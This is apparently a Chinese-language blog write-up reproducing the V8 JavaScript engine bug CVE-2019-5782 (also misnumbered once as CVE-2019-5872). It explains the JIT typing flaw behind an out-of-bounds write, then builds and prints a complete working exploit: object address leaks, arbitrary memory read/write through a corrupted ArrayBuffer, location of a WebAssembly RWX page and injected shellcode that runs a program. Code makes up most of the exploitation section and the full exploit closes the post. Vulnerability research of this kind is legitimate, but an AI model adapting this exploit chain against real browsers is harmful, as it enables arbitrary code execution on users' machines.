0%

CVE-2019-5782

v8 引擎漏洞 CVE-2019-5872 复现,因本人对 JIT 技术的了解较浅,故本文对漏洞成因的 JIT 方面并不做详细的说明,

环境

切换到漏洞修复前的版本,进行编译:

1
2
$ git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
$ gclient sync

debug 模式调试会有点问题,所以选择 release 模式进行编译

1
$ ./tools/dev/v8gen.py x64.release

为了使用 job 等调试命令,在 out.gn/x64.release/args.gn 里写入下面配置:

1
2
3
4
5
6
is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

最后编译即可

1
$ ninja -C out.gn/x64.release d8

漏洞分析

先使用官方的 Poc 进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
assertEquals(undefined, a2[i]);
}

上面的 assertEquals 是没有定义的,稍作更改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log(a2.length);
for (let i = 8; i < 32; i++) {
console.log(a2[i]);
}

可以看到,a2 数组的长度从 16 变成了 42(0x2a),且从 a2[16] 往后的数值都不是 undefined,很明显出现了数组越界
upload successful

稍加调试,就可以发现问题出现在这里:

1
2
a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000

这里造成了越界写操作,把 a2 的 length 给改写了,但实际上对数组越界写的情况是会导致数组扩容的,经过了解,这是因为 JIT 优化把越界的一些检查去掉了,导致漏洞的产生

可以看看漏洞修复的 diff :
upload successful

修复前,函数参数的长度类型是 Type::Range(0.0, Code::kMaxArguments, zone());

Code::kMaxArguments 的值是 65534,表示函数支持的最大参数数量是 65534,但是后来函数参数支持更多了,这里确没有更改,Poc 中使用了右移 16 位的操作符,65534 右移 16 位必定是 0,所以 JIT 认为这一计算始终是 0,于是进行了优化,把一些越界检查给去掉了,因此造成了越界读写的漏洞

漏洞利用

只要改写 a2 的 length 字段很大的值,那么 a2 数组可以越界的范围很大,漏洞利用起来也很简单

  1. 先利用数组越界读写泄露对象的地址
  2. 再利用越界读写构造任意地址读写
  3. 结合 1, 2 可以 leak 出 wasm 的 RWX 段位置,再任意写注入 shellcode

先仿照 Poc 将 a2 的 length 改成很大的值,如 0xffff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}

var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;

for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);

fun(...a3);

其中的 %OptimizeFunctionOnNextCall(fun) 其实让 JIT 优化 fun 函数,其实可以用多次循环调用 fun 函数来替代

这里为了方便后续的使用,还写了 BigInt 与 Float 类型的互相转换函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);

function f2i(value) {
f_buf[0] = value;
return i_buf[0];
}

function i2f(value) {
i_buf[0] = value;
return f_buf[0];
}

泄露对象地址

先定义一个对象 objLeak,有 tagleak 属性,利用越界读,找到 tag 属性值 0x4567 相对于数组 a2 偏移的索引,即可得到 leak 属性对应的索引 offset_leak,再通过 a2[offset_leak] 即可将 leak 属性的 float 值读出来,只要往 leak 属性放入任意的对象,即可读出任意对象的地址

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0x456700000000) {
offset_leak = i - 1;
break;
}
}

console.log('offset_leak = ' + offset_leak);

function addressOf(obj) {
objLeak.leak = obj;
return f2i(a2[offset_leak]);
}


var objTest = {'aaa': 123};

%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
%SystemBreak();

上面还用了 objTest 对象来测试 addressOf,调试结果如下:
upload successful

任意地址读写

任意地址读写其实也很简单,可以先定义一个 ArrayBuffer 对象,改写它的 backing_store 指针,就可以对指向的地方任意读写

1
2
3
4
5
6
var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

%DebugPrint(buf2write);
%SystemBreak();

调试可以看到,ArrayBuffer 的 length 字段是指定的 0xbeef,用同样的方式,找到 0xbeef 即可找到对应在 a2 数组的索引,随之即可找到 backing_store 指针的位置
upload successful

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

%DebugPrint(buf2write);
%SystemBreak();


for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0xbeef) {
offset_backing_store = i + 1;
break;
}
}



function write64(addr, value) {
a2[offset_backing_store] = i2f(addr);
data_view.setFloat64(0, i2f(value), true);
}

function read64(addr) {
a2[offset_backing_store] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}

write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
%DebugPrint(objTest);

console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
%SystemBreak();

调试测试一下,这是 ArrayBuffer 修改前:
upload successful

然后看到 objTest 被改写了:
upload successful

upload successful

ArrayBuffer 也同预期那样,backing_store 指针被改写了:
upload successful

利用 wasm 执行 shellcode

大致按照下面的路线找到 RWX 段的地址,然后注入 shellcode 就行

1
wasmInstance.exports.main -> shared_info -> data -> instance -> rwx_page

先构造一个 wasm 对象

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(f);
%SystemBreak();

对象 shared_info 的地址在对象 f 的 +0x18 偏移处:
upload successful

对象 data 的地址在 shared_info 的 +0x8 偏移处:
upload successful

在 data 偏移 +0x10 处找到 instance 对象的地址:
upload successful

在 instance+0xe8 处找到 RWX 段的地址:
upload successful

upload successful

找 RWX 段的过程也可以参照本人之前写的 starctf oob 复现 的文章

写入 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);


var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]

for (let i = 0n; i < sc_arr.length; i++) {
write64(rwx_page_addr + i * 8n, sc_arr[i]);
}

console.log(f());

成功弹出计算器:
upload successful

生成 shellcode 的脚本同样可以参考之前的文章 starctf oob 复现

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);

function f2i(value) {
f_buf[0] = value;
return i_buf[0];
}

function i2f(value) {
i_buf[0] = value;
return f_buf[0];
}


function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}

var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;

for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);

fun(...a3);

//console.log(a2.length);
//%DebugPrint(a1);
//%DebugPrint(a2);
//%SystemBreak();



var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0x456700000000) {
offset_leak = i - 1;
break;
}
}

console.log('offset_leak = ' + offset_leak);

function addressOf(obj) {
objLeak.leak = obj;
return f2i(a2[offset_leak]);
}


var objTest = {'aaa': 123};


//%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
//%SystemBreak();


var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;

//%DebugPrint(buf2write);
//%SystemBreak();


for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0xbeef) {
offset_backing_store = i + 1;
break;
}
}



function write64(addr, value) {
a2[offset_backing_store] = i2f(addr);
data_view.setFloat64(0, i2f(value), true);
}

function read64(addr) {
a2[offset_backing_store] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}



write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
//%DebugPrint(objTest);

console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
//%SystemBreak();


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

//%DebugPrint(f);
//%SystemBreak();



var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);


var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]

for (let i = 0n; i < sc_arr.length; i++) {
write64(rwx_page_addr + i * 8n, sc_arr[i]);
}

console.log(f());

参考